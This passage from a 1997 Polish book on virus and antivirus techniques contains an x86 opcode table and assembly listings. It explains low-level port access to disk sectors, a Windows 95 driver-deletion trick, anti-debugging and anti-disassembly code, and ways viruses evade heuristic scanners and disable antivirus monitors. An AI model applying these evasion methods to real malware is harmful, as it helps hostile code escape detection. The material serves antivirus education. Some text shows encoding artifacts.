Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne 
nazwy są oddzielone przecinkiem. 
Kody Instrukcji 
Kod instrukcji (binarnie)                   Mnemonik 
00001111 1000Wwww Reladr16           JWwww Reladr16 
00001111 1001Wwww MmRejMem           SETWwww byte ptr [Mem] 
00001111 10100000                    PUSH FS 
00001111 10100001                    POP FS 
00001111 10100010                    CPUID 
00001111 10100011 MmRejMem           BTMem,Rej 
00001111 10100100 MmRejMem Wartkom8  SHLD Mem,Wartkom8 
00001111 10100101 MmRejMem           SHLD Mem,Rej,CL 
00001111 1010011D MmRejMem           CMPXCHG Mem,Rej 

background image

00001111 10101000                    PUSH GS 
00001111 10101001                    POP GS 
00001111 10101011 MmRejMem           BTS Mem,Rej 
00001111 10101100 MmRejMem Wartkom8  SHRD Mem,Wartkom8 
00001111 10101101 MmRejMem           SHRD Mem,Rej,CL 
00001111 10101111 MmRejMem           IMUL Rej,Mem 
00001111 10110010 MmRejMem           LSS Rej,Mem 
00001111 10110011 MmRejMem           BTS Mem,Rej 
00001111 10110100 MmRejMem           LFS Rej,Mem 
00001111 10110101 MmRejMem           LGS Rej,Mem 
00001111 10110110 MmRejMem           MOVZX Rej,Mem 
00001111 10110111 MmR32Mem           MOVZX R32,Mem 
00001111 10111011 MmRejMem           BTC Mem,Rej 
00001111 10111100 MmRejMem           BSF Mem,Rej 
00001111 10111101 MmRejMem           BSR Mem,Rej 
00001111 10111110 MmRejMem           MOVSX Rej,Mem 
00001111 10111111 MmR32Mem           MOVSX R32,Mem 
00001111 1100000D MmRejMem           XADD Mem,Rej           
00001111 11000111 Mm001Mem           CMPXCHG8B mem 
00001111 11001r32                    BSWAP r32 
00001111 11011010 Mm100Mem Wartkom8  BT Mem,Wartkom8 
00001111 11011010 Mm101Mem Wartkom8  BTS Mem,Wartkom8 
00001111 11011010 Mm110Mem Wartkom8  BTR Mem,Wartkom8 
00001111 11011010 Mm111Mem Wartkom8  BTC Mem,Wartkom8 
000Sg110                             PUSH rejestr segmentowy Sg  
000Sg111                             POP rejestr segmentowy Sg, Sg<>01, 
                                     bo 00001111= rozszerzene instrukcje (w 8086  
                                     by│a to instrukcja POP CS) 
00100111                             DAA 
00101111                             DAS 
00110111                             AAA 
00111111                             AAS 
001Sg110                             przedrostek segmentu Sg 
000pe0SD MmRejMem                    S=0,Ope Mem,Rej, S=1 Ope Reg,Mem 
000pe10D WartkomD                    Ope Akumulator,WartkomD 
01000Rej                             INC rejestr Rej 
01001Rej                             DEC rejestr Rej 
01010Rej                             PUSH rejestr Rej 
01011Rej                             POP rejestr Rej 
01100000                             PUSHA 
01100001                             POPA 

background image

01100100                             FS: 
01100101                             GS: 
01100110                             przedrostek instrukcji 386+ (dane 
32-bitowe) 
01100111                             przedrostek instrukcji 386+ (operandy 32- 
                                     bitowe) 
01101000 WartkomD                    PUSH WartkomD 
0110100D MmRejMem WartkomD           IMUL Rej,WartkomD,Mem 
01101010 Wartkom8                    PUSH Wartkom8 
0110110D                             INSB, INSW, INSWD 
0110111D                             OUTSB, OUTSW, OUTSD 
0111wwww Reladre8                    JWwww Reiadre8 
1000000D MmOpeMem WartkomD           Ope Mem,WartkomD 
1000001D MmOp2Mem Wartkom8           Op2 Mem, Integer (Wartkom8) 
1000010D MmRejMem                    TEST Mem,Rej 
1000011D MmRejMem                    XCHG Mem,rej 
100010SD MmRejMem                    S=0, MOV Mem,Rej, S=1 MOV Reg,Mem 
10001101 MmRejMem                    LEA Rej,Mem 
10001111 Mm000Mem                    POP Mem 
100011S0 MmSegMem                    S=0 MOV Mem,Seg, S=1 MOV Seg, Mem 
10010Rej                             XCHG rejestr Rej 
10011000                             CBW/CWDE 
10011001                             CWD/CDQ 
10011010 Addroffs Addrsegm           CALL FAR Addrsegm:Addroffs 
10011011                             wait 
10011100                             PUSHF/PUSHFD 
10011101                             POPF/POPFD 
10011110                             SAHF 
10011111                             LAHF 
101000SD WartkomD                    S=0 MOV Akumutator,[WartkomD] ; S=1 MOV 
[WartkomD],Akumulator 
1010010D                             MOVSB,MOVSW, MOVSD 
1010011D                             CMPSB, CMPSW, CMPSD 
1010100D WartkomD                    TEST Akumulator,WartkomD 
1010101D                             STOSB, STOSW, STOSD 
1010110D                             LODSB, LODSW, LODSD 
1010111D                             SCASB, SCASW, SCASD 
1011DRej WarkomD                     MOV Rej,WartkomD 
1100000D MmOpsMem Wartkom8           Ops Mem,Wartkom8 
11000100 MmRejMem                    LES Rej,Mem 
11000101 MmRejMem                    LDS Rej,Mem 

background image

1100011D Mm000Mem WarkomD            MOV Mem,WartkomD 
11001100                             INT3 
11001101 Wartkom8                    INT Wartkom8 
11001110                             INTO 
11001111                             IRET 
1100F010 WartkomF                    RET WartkomF 
1100F011                             RET N/F 
1101000D MmOpsMem                    Ops Mem,1 
1101001D MmOpsMem                    Ops Mem,CL 
11010110                             SETALC 
11010111                             XLAT 
11100000 Reladre8                    LOOPNZ Reladre8 
11100001 Reladre8                    LOOPZ Reiadre8 
11100010 Reladre8                    LOOP Reladre8 
11100011 Reladre8                    JCXZ/JECXZ Reladre8 
11100100 Wartkom8                    AAM Wartkom8, zwykle Wartkom8=10 
11100101 Wartkom8                    AAD Wartkom8, zwykle Wartkom8=10 
1110010D Numport8                    IN Akumulator,Numport8 
1110011D Numport8                    OUT Numport8,Akumulator 
11101000 Reladr16                    CALLNEAR Reladr16 
11101001 Reladr16                    JMP NEAR Reladr16 
11101010 Addroffs Addrsegm           JMP FAR Addrsegm:Addroffs 
11101011 Reladre8                    JMP SHORT Reladre8 
1110110D                             IN Akumulator, DX 
1110111D                             OUT DX,Akumulator 
11110000                             LOCK 
11110010                             REPNZ 
11110011                             REP, REPZ 
11110101                             CMC 
1111011D Mm000Mem WartkomD           TEST Mem,Wartkom8 
1111011D MmOp3Mem                    Op3 Mem 
11111000                             CLC 
11111001                             STC 
11111010                             CLI 
11111011                             STI 
11111100                             CLD 
11111101                             STD 
11111110 MmOp4Mem                    Op4 Mem 
11111111 MmOp5Mem                    Op5 Mem 
 
 

background image

ROZDZIAŁ 9 

 

9.1. Sposoby dostępu do dysków 
Najc

zęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów 

polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). 
Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze 
względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego 
sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub 
też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań. 
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), 
BOOT-

sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego 

bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć 
przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być 
dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - 
nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna 
bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu 
bezpośrednich odwołań do portów. 
Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do 
portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla 
pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku 
dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku 
dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej 
dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje 
systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi). 
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o 
pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane 
przez fu

nkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia 

dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez 
BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach 
(począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po 
załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze 
przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze 
wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są 
przekierowy-wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor 
MBR wcale nie jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, 
lecz pod adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może 
przyczynić się do przypadkowego zniszczenia danych na dysku podczas zapisywania 
przy użyciu portów, a co za tym idzie, do szybszego wykrycia wirusa. 
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio 
przez porty j

est odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu 

chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się 
bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu 
nawet dla trybu chro

nionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, 

można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za 
operacje na dyskach. 
W przypadku systemu Windows 95 (działającego w trybie chronionym) można 

background image

spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten 
oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu 
rzeczywistego, a tam nie działa mechanizm ochrony portów. 
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo 
usunąć następujące pliki: 
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD; 
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde 
zgodne z (E)IDE; 
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde 
SCSI, 
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. 
Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa 
zostanie on uruchomiony w trybie zgodności z MS DOS. 
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi 
problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) 
odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie): 
> WIN=; 
> WINDIR=; 
> WINBOOTDIR= 
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać 
dostęp do plików *.PDR. 
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów 
tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w 
napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych 
przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  IDE_PORT v1.0, Autor : Adam Blaszczyk 1997                      

;                                                                            ; 
;       Program odczytuje sektor tablicy partycji pierwszego twardego dysku  ; 
;       przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ; 
;       porownuje ze soba.                                                   ; 
;       Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane    ; 
;       przez jakiegos wirusa.                                               ; 
;                                                                            ; 
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ; 
;         i nie dziala w systemie Windows'95                                 ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM  /t IDE_PORT.ASM                                          ; 

background image

;             TLINK IDE_PORT.OBJ                                             ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
IDE_PORT SEGMENT 
         ASSUME CS:IDE_PORT, DS:IDE_PORT 
         ORG 100h 
  NUL = 00h                       ; \ 
  LF  = 0Ah                       ;  - stale potrzebne do deklaracji 
  CR  = 0Dh                       ; /  lancuchow napisowych 
 
Start: 
        lea    si,TeCopyRight     ; \ wyswietl info o programie 
        Call   Druk               ; / 
 
        mov    ax,1600h           ; sprawdz, czy praca w systemie Windows ? 
        int    2Fh 
 
        test   al,7Fh             ; 
        jz     NieMaWindows       ; ZF=0 - nie ma Windows 
 
        cmp    al,4               ; czy wersja Windows < 4.0 ? 
        jb     NieMaWindows       ; TAK - to nie Windows 95 
                                  ; NIE - to Windows 95 
        lea    bp,TeWindows95     ; \ program nie dziala pod Windows 95 
        jmp    Rozne              ; / wiec koncz 
 
NieMaWindows: 
 
        mov    dx,1F2h            ; 1F2 - okresla ile sektorow czytac 
        mov    al,00000001b       ; czytaj 1 sektor 
        out    dx,al              ; wyslij do IDE 
 
        inc    dx                 ; 1F3 - okresla, ktory sektor pierwszy 
        mov    al,00000001b       ; czytaj sektor nr 1 
        out    dx,al              ; wyslij do IDE 
 
        inc    dx                 ; 1F4 - starsza czesc cylindra (bity 0-1) 
        mov    al,00000000b       ; czytaj cylinder 0 
        out    dx,al              ; wyslij do IDE 
 
        inc    dx                 ; 1F5 - mlodsza czesc cylindra (bity 0-7) 

background image

        mov    al,00000000b       ; czytaj cylinder 0 
        out    dx,al              ; wyslij do IDE 
 
        inc    dx                 ; 1F6 - nr dysku + nr glowicy 
        mov    al,10100000b       ; 101NGggg, N=0=master/1=slave, Gggg - glowica 
        out    dx,al              ; wyslij do IDE 
 
        inc    dx                 ; 1F7 - rejestr rozkazowy IDE 
        mov    al,00100000b       ; rozkaz odczytu 
        out    dx,al              ; wyslij do IDE 
 
        lea    bp,TeIDENieDziala  ; odczyt przez porty nie dziala 
        mov    cx,0FFFFh          ; tyle razy odczytuj z portu 
 
CzekajNaDane: 
        in     al,dx              ; czekaj na dane z kontrolera IDE 
        test   al,00001000b       ; bit 3 ustawiony ? 
        loopz  CzekajNaDane       ; TAK - mozna czytac, NIE - czekaj dalej 
 
        test   al,00001000b       ; bit 3 ustawiony ? 
        jz     Rozne              ; NIE - jakis blad 
 
        mov    cx,256             ; 256x2 bajtow 
        lea    di,SektorIDE       ; gdzie zapisac dane 
        mov    dx,1F0h            ; 1F0 - port danych IDE 
        cld                       ; INC DI w operacjach lancuchowych 
CzytajSektor: 
        in     ax,dx              ; czytaj slowo 
        stosw                     ; zachowaj je 
        loop   CzytajSektor       ; czytaj 256 slow=512 bajtow sektora 
 
        mov    dx,80h             ; dysk twardy nr 0, glowica 0 
        mov    cx,1               ; cylinder 0, sektor 1 
        lea    bx,SektorBIOS      ; dokad czytac sektor 
        mov    ax,0201h           ; funkcja BIOS - czytaj 1 sektor 
        int    13h                ; wywolaj funkcje BIOS 
 
        lea    bp,TeInne          ; komunikat ze rozne 
 
        mov    cx,256             ; porownaj 256 slow=512 bajtow 
        lea    si,SektorIDE       ; bufor z sektorem odczytanym przez porty 

background image

        lea    di,SektorBIOS      ; bufor z sektorem odczytanym przez BIOS 
        rep    cmpsw              ; porownaj oba bufory 
        jne    Rozne              ; ZF=0 - takie same, ZF=1 - rozne 
 
        lea    bp,TeTakieSame     ; komunikat, ze takie same 
Rozne: 
        mov    si,bp              ; komunikat : rozne lub takie same 
        Call   Druk               ; wyswietl komunikat 
 
        mov    ax,4C00h           ; funkcja DOS - koncz program 
        int    21h                ; wywolaj funkcje 
 
Druk:                             ; procedura wyswietla tekst ASCIIZ z CS:SI 
        push   ax si              ; zachowaj zmieniane rejestry 
 
NastepnyZnak: 
        lods   byte ptr cs:[si]   ; wez kolejny znak 
 
        or     al,al              ; czy znak jest zerem ? 
        jz     DrukPowrot         ; TAK = koniec napisu wyjdz z petli 
 
        mov    ah,0Eh             ; funkcja BIOS 
        int    10h                ; wyswietl znak (z AL) 
 
        jmp    short NastepnyZnak ; wez nastepny znak 
 
DrukPowrot: 
        pop    si ax              ; przywroc zmieniane rejestry 
 
        ret                       ; powrot z procedury 
 
TeCopyRight    db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL 
TeTakieSame    db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL 
TeInne         db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL 
TeWindows95    db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL 
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL 
 
SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ') 
SektorIDE  db 512/16 dup ('[ SEKTOR EIDE ] ') 
 
IDE_PORT ENDS 

background image

 
END Start 
 
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i 
antyheurystyczne 
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod 
przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek 
antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki 
antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) 
blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu 
objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji. 
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych 
dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich 
adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich 
wypadkach prz

ejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu 

itd. 
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus 
próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu - 
wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby 
ten niczego nie zauważył. 
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje: 
; Blokada przerwa˝ sprzŕtowych 
MOV AL,0FFh              ; ustaw wszystkie bity w AL na 1  
OUT 21h, AL              ; zamaskuj przerwania sprzŕtowe od 0 do 7 
OUT 0Alh, AL             ; zamaskuj przerwania sprzŕtowe od 8 do F Wykrywanie, 
                         ; czy kod wykonuje siŕ pod kontrola debuggera  
PUSH SS                  ; za│aduj na stos wartoťŠ SS  
POP SS                   ; po tej instrukcji, nastŕpny rozkaz nie jest  
                         ; kontrolowany,  
PUSHF                    ; wiŕc mo┐na zachowaŠ na stosie prawdziwe flagi  
POP AX                   ; AX=flagi zdjŕte ze stosu  
TEST AH,1                ; czy bit TF=1 ?  
JNZ DEBUG_ON             ; jeťli tak, to u┐ywany jest debugger 
........                 ; debugger nie jest u┐ywany 
DEBUG_ON:                ; debugger jest u┐ywany 
Wr

az z pojawieniem się debuggerów działających w trybie chronionym znaczenie 

sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak 
będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować 
adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie 
rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu 
chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy 
przerwań. 
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz 
odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje 
się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we 

background image

wstępie wirusie JUMP). 
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a 
napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny 
listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze 
takie same). 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997                ; 
;                                                                            ; 
;              Program demonstruje proste techniki antydeasemblerowe         ; 
;              Po skompilowaniu mozna sprobowac deasemblowac kod tego        ; 
;              programu przy uzyciu np. SOURCERa i porownac z oryginalnym    ; 
;              zrodlem                                                       ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     ANTY_DEA.ASM                                          ; 
;             TLINK /t ANTY_DEA.OBJ                                          ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
ANTY_DEA SEGMENT 
         ASSUME CS:ANTY_DEA, DS:ANTY_DEA 
 
         ORG 100h 
 
 
Start:                                      ; poczatek programu 
    sub  bp,bp                              ; zeruj rejestr BP 
 
    lea  dx,[bp+offset TxCzesc]             ; dostep do danych poprzez 
                                            ; adresowanie typowo uzywane 
                                            ; przy operacjach na stosie 
                                            ; deasembler moze nie zauwazyc 
                                            ; ze chodzi o zwykly ofset 
                                            ; do tekstu 
 
    jmp  $+4                                ; przeskocz bajt 0EAh 
                                            ; i wskocz w drugi bajt 
                                            ; rozkazu ADD, czyli 
                                            ; przejdz do rozkazu 

background image

                                            ; jmp Koniec 
                                            ; (ukrytego w kodzie rozkazu ADD) 
 
    db   0EAh                               ; symuluj wywolanie 
                                            ; dalekiej procedury 
                                            ; o kodzie EA OO OO SS SS, gdzie 
                                            ; SS SS : Seg, OO OO : ofs 
                                            ; mozliwe, ze deasembler pobierze 
                                            ; dwuslowo i zamieni je 
                                            ; na SS SS : OO OO 
                                            ; i nie wykryje ani ADD, ani JMP 
 
    add  ax,0EBh+256*(offset Koniec-$-3)    ; kod tego rozkazu 
                                            ; to db 05 
                                            ;    db EB 
                                            ;    db (offset Koniec-$-3) 
                                            ; od drugiego bajtu rozpoczyna sie 
                                            ; kod rozkazu Jmp Koniec (EB,??) 
 
TxCzesc  db  0Dh,0Ah,'Czesc!',0Dh,0Ah,'$'   ; tekst w srodku kodu; 
                                            ; istnieje szansa, ze 
                                            ; deasembler zacznie 
                                            ; go interpretowac jako kod 
 
     db  0EAh                               ; ta sama sztuczka co powyzej; 
                                            ; symulacja wywolania dalekiej 
                                            ; procedury 
 
Koniec:                                     ; tu dotrze program omijajac tekst 
 
    jmp  $+3                                ; przeskocz bajt 0EAh 
 
    db   0EAh                               ; ta sama sztuczka co powyzej; 
                                            ; symulacja wywolania dalekie 
                                            ; procedury CALL FAR 
 
                                            ; ponizsza sekwencja mov ah,9/ 
                                            ; int 21h jest 4 bajtowa i jest 
                                            ; calkowicie "pochlonieta" przez 
                                            ; symulowany rozkaz CALL FAR 
 

background image

    mov  ah,9                               ; funkcja DOS - wyswietl tekst$ 
 
    int  21h                                ; wywolaj funkcje DOS 
 
    ret                                     ; powrot do PSP:0000h, 
                                            ; gdzie znajduje sie kod Int 20h, 
                                            ; czyli koncz program 
 
ANTY_DEA ENDS 
 
END Start 
 
Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych 
stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów 
polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów 
tymi metodami. 
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, 
dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, 
funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania 
procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi 
wy

glądu programu napisanego w językach wysokiego poziomu (posiadają one 

charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi 
cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE 
lub innych). 
Po wykryciu wy

wołania pewnej ilości funkcji obsługiwanych przez przerwania 

programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle 
przerywa dalsze poszukiwania i pozostawia plik bez zmian. 
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania 
wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez 
odpowiednią manipulację kodem, np. tradycjną sekwencję: 
CMP AX,4B00h 
mo┐na zakodowaŠ w wirusie jako: 
ADD AX,1234h 
CMP AX,4B00h+1234h 
lub 
XCHG AX,CX 
CMP AX,4B00h XCHG AX,CX 
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną 
operację wykona się dla większości zawartych w wirusie instrukcji, program 
antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza. 
 
9.3. Optymalizacje kodu 
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc 
autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego 

background image

funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim 
kodow

aniu różnych instrukcji, które - mimo, że krótsze od normal- 

nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe 
przykłady ilustrują najbardziej znane i proste optymalizacje kodu: 
XOR REJ16,REJ16          ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego 
                         ; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0) 
XOR AX,AX                ; zeruj rejestry DX:AX za pomoc╣ dwˇch rozkazˇw CWD 
                         ; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajtˇw) 
XCHG AX,REJ16            ; przenieť zawartoťŠ rejestru AX do innego rejestru  
 

                   ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX 

 

 

                         ; (mo┐na u┐ywaŠ tylko w niektˇrych sytuacjach) 
INC REJ16                ; dwie 1-bajtowe instrukcje INC  
INC REJ16                ; zamiast jednej 3-bajtowej instrukcji  
ADD REJ16,2  

 

      ; analogicznie dla rozkazu  

SUB REJ16,2  

 

      ; 2xDEC 

 
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi 
monitorami antywirusowymi 
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z 
zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami 
kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były 
one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla 
użytkownika. 
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane 
metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada 
żadnej wagi do ochrony własnego 
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z 
tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż 
program, mimo że jest zainstalowany, nie działa tak, jak powinien. 
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów 
wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, 
zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej 
wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić 
użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają 
odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik 
programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że 
ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa. 
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć 
można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na 
świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii 
zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa 
Veldmana). 
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian 
wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej 

background image

przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów 
trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter 
rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam 
czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu. 

 

ROZDZIAŁ 10

 

 
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses

Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, 
który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także 
sieciowych). Wirus taki powinien infeko

wać wszystkie możliwe do zarażenia obiekty, a 

także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji 
sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi 
komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł 
pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej 
C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język 
JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy 
można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych 
trudności po całej sieci Internet. 
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, 
jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest 
fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które 
radzą sobie zarówno na komputerach klasy PC, jak i Macintosh, 
 
10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors

Większość obecnie istniejących wirusów infekując pliki używa standardowego 
schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej 
modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i 
wyk

orzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na 

umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po 
pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, 
gdyby wirus tego typ

